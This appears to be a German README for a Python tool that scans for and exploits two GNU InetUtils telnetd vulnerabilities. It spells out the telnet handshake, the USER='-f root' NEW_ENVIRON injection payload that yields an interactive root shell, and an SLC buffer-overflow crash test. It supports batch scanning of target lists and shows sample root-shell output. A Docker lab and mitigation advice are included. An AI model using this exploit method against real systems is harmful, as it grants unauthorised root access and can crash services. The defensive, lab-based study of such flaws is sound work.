Telnet-Schwachstellen-Scanner (CVE-2026-24061 & CVE-2026-32746)

Ein Python-basiertes Sicherheitsbewertungstool, das zwei kritische Schwachstellen in GNU InetUtils telnetd erkennt und (wo zutreffend) ausnutzt:

• CVE-2026-24061 – Authentifizierungsumgehung durch Injektion der USER-Umgebungsvariable (CVSS 9.8)
• CVE-2026-32746 – Pufferüberlauf vor der Authentifizierung im LINEMODE SLC-Handler (CVSS 9.8)

Wichtiger Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt.
Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Die Autoren übernehmen keine Haftung für Missbrauch oder durch dieses Tool verursachte Schäden. Nutzung auf eigene Gefahr.

Funktionen

• Einzelziel-Scan – Geben Sie IP-Adressen oder Domainnamen zur Laufzeit ein
• Batch-Scan – Laden Sie eine Datei mit mehreren Zielen hoch (eines pro Zeile)
• Selektives Testen – Testen Sie jede Schwachstelle einzeln oder beide
• CVE-2026-24061-Ausnutzung – Bei Schwachstelle öffnet das Tool eine interaktive Root-Shell direkt im selben Terminal
• CVE-2026-32746-Erkennung – Identifiziert verwundbare Systeme durch kontrollierte Absturzerkennung
• Saubere Terminal-Behandlung – Raw-Modus-Shell mit ordnungsgemäßer Wiederherstellung beim Beenden
• Verbindungsvalidierung – Unterscheidet zwischen gefilterten Ports, Offline-Diensten und tatsächlichen Schwachstellen
• Ausführliches Debugging – Setzen Sie TELNET_SCAN_VERBOSE=1, um jedes IAC-Paket und die schrittweise Exploit-Beschreibung zu sehen
• Docker-Lab-Umgebung – In sich geschlossenes verwundbares Ziel für sicheres Testen

Installation

git clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py

Verwendung

Grundlegende Ausführung

python3 telnet_scanner.py

Docker-Lab (Sicheres Testen)

Testen Sie den Exploit gegen ein bekanntes verwundbares Ziel, ohne reale Systeme zu gefährden:

cd lab
docker compose up -d
cd ..
python3 telnet_scanner.py
# Target: 127.0.0.1, Port: 2323

Das Lab führt ein verwundbares GNU InetUtils 2.5 telnetd in einem isolierten Container aus, der nur an localhost gebunden ist. Keine Netzwerkexposition.

Ausführlicher Modus

Debuggen Sie den Telnet-Handshake und sehen Sie genau, was auf der Leitung passiert:

TELNET_SCAN_VERBOSE=1 python3 telnet_scanner.py

Die ausführliche Ausgabe zeigt:

• Jeden gesendeten und empfangenen IAC-Befehl (DO/WILL/SB)
• Dekodierte Telnet-Optionsnamen
• Payload-Hex-Dumps für Subnegotiationen
• Schritt-für-Schritt-Exploit-Ablauf (6-Schritte-Handshake)

Arbeitsablauf für Einzelziele

1. Wählen Sie Option 1
2. Geben Sie das Ziel ein (IP oder Domain, z. B. 192.168.1.100 oder example.com)
3. Geben Sie den Port an (Standard ist 23, wenn leer gelassen)
4. Wählen Sie den Testtyp:
   • 1 – Beide Schwachstellen
   • 2 – Nur CVE-2026-24061 (Authentifizierungsumgehung)
   • 3 – Nur CVE-2026-32746 (Pufferüberlauf)

Arbeitsablauf für Batch-Scan

1. Erstellen Sie eine Datei mit Zielen (eines pro Zeile) Beispiel targets.txt:
   root@kitploit:~

   192.168.1.100
   192.168.1.101
   10.0.0.50
   example.com
   # This is a comment line - ignored
   

2. Wählen Sie Option 2
3. Geben Sie den Dateinamen ein
4. Geben Sie den Port an (Standard ist 23)
5. Wählen Sie den Testtyp (1, 2 oder 3)
6. Der Scanner wird:
   • Fortschritt für jedes Ziel anzeigen
   • Ergebnisse anzeigen, sobald sie abgeschlossen sind
   • Eine Zusammenfassungstabelle am Ende bereitstellen

Wenn eine Shell erhalten wird

Wenn CVE-2026-24061 erfolgreich ist:

1. Die Schwachstelle wird erkannt
2. Eine interaktive Root-Shell erscheint direkt im selben Terminalfenster
3. Geben Sie Befehle ein und sehen Sie sofort die Ausgabe (z. B. id, whoami, ls)
4. Drücken Sie Strg+C, um die Shell zu verlassen und zum Scanner-Menü zurückzukehren
5. Bei Batch-Scans werden Sie gefragt, ob Sie mit der Shell interagieren oder den Scan fortsetzen möchten

Kein separates Terminal oder zusätzliche Schritte erforderlich.

So funktioniert es

CVE-2026-24061 – Authentifizierungsumgehung

Der Exploit folgt einem präzisen 6-Schritte-Telnet-Handshake, um die Kompatibilität mit echten GNU InetUtils telnetd zu gewährleisten:

1. Auf Serververhandlung warten – Bis zu 15 Sekunden für Reverse-DNS und anfängliche DO-Optionen
2. Mit WILL antworten – TTYPE, TSPEED, XDISPLOC, NEW_ENVIRON bestätigen
3. Auf SB SEND warten – Subnegotiation-Anfragen vom Server
4. Exploit-Payload senden – USER="-f root" per NEW_ENVIRON-Subnegotiation setzen
5. Verbleibenden Austausch behandeln – Auf DO/WILL für SGA, ECHO, LINEMODE, NAWS antworten
6. Shell erkennen – Nach , oder Eingabeaufforderung suchen

Ein Keepalive-Thread sendet alle 2 Sekunden IAC NOP, um zu verhindern, dass ttloop() von telnetd EOF erkennt und exit(1) aufruft, bevor die Payload verarbeitet wird.

Verwundbares telnetd übergibt -f root an /usr/bin/login, umgeht die Authentifizierung und gewährt sofortigen Root-Shell-Zugriff.

CVE-2026-32746 – Erkennung von Pufferüberläufen

• Verhandelt die LINEMODE-Option (RFC 1184)
• Sendet 500+ SLC-Tripletts (1500+ Bytes), um den Puffer fester Größe zum Überlaufen zu bringen
• Überwacht auf Verbindungsabbrüche/-abstürze, um die Schwachstelle zu bestätigen

Verbindungsvalidierung

• Vorab-Scans, um die Dienstverfügbarkeit zu überprüfen, bevor Exploits versucht werden
• Unterscheidet zwischen:
  • Gefilterten Ports (Firewall-Blockade)
  • Offline-Diensten (kein Dienst läuft)
  • Verwundbaren Diensten (erfolgreicher Exploit)

Beispielausgabe

Einzelziel

=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit

Choose option: 1
Port (default 23): 

Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
Target (IP or domain): 192.168.1.100

[*] Resolved 192.168.1.100 -> 192.168.1.100
[*] Scanning 192.168.1.100:23...

[*] Checking if service is reachable...
[+] Service reachable

[*] Testing CVE-2026-24061 (authentication bypass)...
[!] CVE-2026-24061: VULNERABLE – shell obtained!

============================================================
[+] ROOT SHELL OBTAINED! You are now in an interactive root shell.
[+] Type commands directly here. Press Ctrl+C to exit shell.
============================================================

id
uid=0(root) gid=0(root) groups=0(root)

Ausgabe des ausführlichen Modus (Auszug)

    [STEP 1/6] Waiting for server negotiation (may take up to 15s)...
    [STEP 1/6] Got 48 bytes: fffb18fffb20fffb23fffb27...
           decoded: IAC DO TERMINAL-TYPE
           decoded: IAC DO TERMINAL-SPEED  
           decoded: IAC DO X-DISPLAY-LOCATION
           decoded: IAC DO NEW-ENVIRON
    [STEP 2/6] Responding WILL to all DO options
    [STEP 3/6] Waiting for SB SEND subnegotiation requests...
    [STEP 4/6] Sending subnegotiation responses...
               NEW-ENVIRON IS VAR USER VALUE "-f root"  *** EXPLOIT ***
    [STEP 5/6] Handling remaining option negotiations...
    [STEP 5/6] Text received: 'root@vuln-lab:~# '
    [RESULT] SUCCESS: Passwordless root login via USER="-f root" injection

Batch-Scan

=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit

Choose option: 2
Port (default 23): 
Enter filename with targets (one per line): targets.txt

Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1

[*] Loaded 3 targets from targets.txt

==================================================
[1/3] Scanning 192.168.1.100:23
==================================================
[*] Resolved 192.168.1.100 -> 192.168.1.100
[+] Service reachable

[*] Testing CVE-2026-24061...
[!] CVE-2026-24061: VULNERABLE – shell obtained!

[?] Shell obtained! Interact now? (y/N): n

[*] Testing CVE-2026-32746...
[+] Server did not crash; likely not vulnerable

==================================================
[2/3] Scanning 192.168.1.101:23
==================================================
[-] Service not reachable on 192.168.1.101:23

==================================================
[3/3] Scanning example.com:23
==================================================
[*] Resolved example.com -> 93.184.216.34
[+] Service reachable

[*] Testing CVE-2026-24061...
[+] No response received; may still be vulnerable

[*] Testing CVE-2026-32746...
[!] CVE-2026-32746: VULNERABLE (server crashed)

============================================================
SCAN SUMMARY
============================================================
192.168.1.100: VULNERABLE to CVE-2026-24061
192.168.1.101: Service unreachable
example.com: VULNERABLE to CVE-2026-32746
============================================================

Gegenmaßnahmen

Wenn Sie verwundbare Systeme entdecken, wenden Sie diese Korrekturen an:

1. Aktualisieren Sie GNU InetUtils auf Version 2.8 oder höher
2. Deaktivieren Sie telnetd und blockieren Sie TCP/23 an Netzwerkgrenzen
3. Beschränken Sie den Zugriff nur auf vertrauenswürdige Netzwerke
4. Überwachen Sie Protokolle auf Verbindungen mit NEW_ENVIRON USER-Werten, die mit -f beginnen

Entwicklung & Testen

Docker-Lab

Das enthaltene lab/-Verzeichnis bietet eine sichere, reproduzierbare Testumgebung:

cd lab
docker compose up -d
# Wait ~10 seconds for telnetd to initialize
python3 ../telnet_scanner.py
# Target: 127.0.0.1, Port: 2323

Lab-Funktionen:

• GNU InetUtils 2.5 aus dem Quellcode kompiliert (verwundbare Versionen)
• Führt telnetd in einem isolierten Container aus
• Nur an localhost:2323 gebunden – sicher für die Entwicklung
• Enthält einen Testbenutzer (labuser:labpass123) zum Debuggen

Stoppen Sie das Lab, wenn Sie fertig sind:

cd lab && docker compose down

Bekannte Einschränkungen

• Der Überlauftest (CVE-2026-32746) kann den Ziel-telnetd-Dienst zum Absturz bringen
• Pfeiltasten und Terminalgrößenänderung werden in der interaktiven Shell nicht vollständig unterstützt
• Einige Firewalls oder Netzwerkkonfigurationen können die Telnet-Optionsaushandlung beeinträchtigen
• Windows-Benutzer: Die interaktive Shell erfordert ein Unix-ähnliches Terminal (WSL, Cygwin oder Linux/macOS)

Danksagungen

Besonderer Dank an @leetcrypt – Der korrekte 6-Schritte-Handshake, Keepalive-Thread, ausführlicher Modus und Docker-Lab sind der Hammer!

HAFTUNGSAUSSCHLUSS: Nur für autorisierte Sicherheitstests und Bildungszwecke.